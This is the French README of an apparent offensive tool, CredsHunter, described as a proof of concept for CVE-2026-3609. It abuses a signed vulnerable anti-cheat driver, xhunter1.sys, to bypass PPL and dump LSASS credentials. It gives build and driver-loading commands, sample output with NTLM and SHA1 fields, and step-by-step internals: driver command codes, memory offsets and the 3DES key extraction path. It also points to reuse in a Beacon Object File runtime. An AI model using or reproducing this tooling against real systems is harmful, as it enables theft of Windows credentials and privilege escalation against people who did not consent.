
PoC pour CVE-2026-3609 - fuite de handles dans XIGNCODE3 xhunter1.sys permettant de contourner PPL et de dumper LSASS
Preuve de concept de dump d'identifiants LSASS pour une fuite de handle de processus contournant PPL dans le driver anti-cheat XIGNCODE3 de Wellbia, xhunter1.sys.
Le driver expose une interface de commande IRP_MJ_WRITE qui appelle ObOpenObjectByPointer avec AccessMode = KernelMode et sans OBJ_KERNEL_HANDLE, déposant un handle PROCESS_ALL_ACCESS émis par le noyau directement dans la table de handles de l'appelant. De là, un code standard de dump d'identifiants lit la clé 3DES de lsasrv.dll dans la cible et récupère les hashs NTLM + SHA1 pour chaque session d'ouverture de session active.
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
Le driver signé vulnérable est inclus dans ce dépôt (xhunter1.sys) afin que l'exploit soit reproductible de bout en bout. Vérifiez le hash avant de le charger :
Get-FileHash .\xhunter1.sys -Algorithm SHA256
Les versions plus récentes de XIGNCODE3 sont corrigées. Le binaire signé vulnérable reste utilisable comme primitive BYOVD sur toute machine où il peut être déposé et chargé.
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
Le binaire compilé est placé dans target\release\CredsHunter.exe.
Chargez le driver fourni en tant que service noyau (la DACL du périphérique du driver autorise tout appelant dès qu'il est en cours d'exécution) :
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
Exécutez l'outil :
.\target\release\CredsHunter.exe
Pour nettoyer ensuite :
sc stop xhunter
sc delete xhunter
Le nom de périphérique par défaut est \\.\xhunter (correspondant au nom de service de l'exemple ci-dessus). Si votre service utilise un nom différent, le chemin du périphérique suivra ce nom — modifiez driver::DEFAULT_DEVICE ou appelez Xhunter::open_named en conséquence.
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
Le trait MemReader abstrait les lectures mémoire afin que les modules d'extraction d'identifiants ne dépendent pas de la primitive spécifique du driver. Implémentez le trait sur un autre lecteur (par exemple un runtime Beacon Object File, un lecteur de mémoire physique basé sur ptwalk) et les modules lsa / logon / wdigest s'intègrent sans modification.
48 3B D9 74) hérité du PoC public d'origine et n'a pas été actualisée pour Windows 11 build 26100+. Développer cela en une table par build est simple ; les PR sont les bienvenues.xhunter. Si vous chargez le driver sous un autre nom, modifiez driver::DEFAULT_DEVICE ou passez une valeur de remplacement à Xhunter::open_named.Uniquement pour la recherche, les tests autorisés et les outils défensifs. Charger le driver vulnérable sur un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation explicite de test est un crime dans la plupart des juridictions. L'auteur n'accepte aucune responsabilité en cas de mauvaise utilisation.
Voir LICENSE.
| Étape | Composant | Ce qui se passe |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — aucune authentification sur le périphérique |
| 2 | driver.rs → Xhunter::open_process | WriteFile avec la commande 785 (PID, PROCESS_ALL_ACCESS). Le driver appelle ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) et réécrit le handle dans le buffer de réponse de l'utilisateur à +0x10. Le handle contourne PPL car AccessMode = KernelMode ignore la vérification d'accès, et il atterrit dans notre table de handles car OBJ_KERNEL_HANDLE n'est pas défini. |
| 3 | driver.rs → Session::attach | Teste ReadProcessMemory sur le handle émis par le noyau. Replie sur la commande 787 du driver (KeStackAttachProcess + memcpy) si RPM est bloqué. |
| 4 | lsa.rs | Analyse par motifs le .text local de lsasrv.dll pour retrouver les pointeurs RIP-relatifs vers la clé AES, la clé 3DES et l'IV dans LsaInitializeProtectedMemory. Rebase ces adresses virtuelles sur le mappage de la cible, parcourt BCRYPT_HANDLE_KEY → BCRYPT_KEY81 et extrait les octets 3DES bruts de la cible. |
| 5 | logon.rs | Parcourt LogonSessionList (table de signatures par build). L'identifiant principal de chaque entrée à +credentials → +0x10 → +0x30 contient un blob chiffré 3DES de 0x1B0 octets. bcrypt.dll le déchiffre ; les octets 70..86 sont le hash NT, 102..122 sont le SHA1. |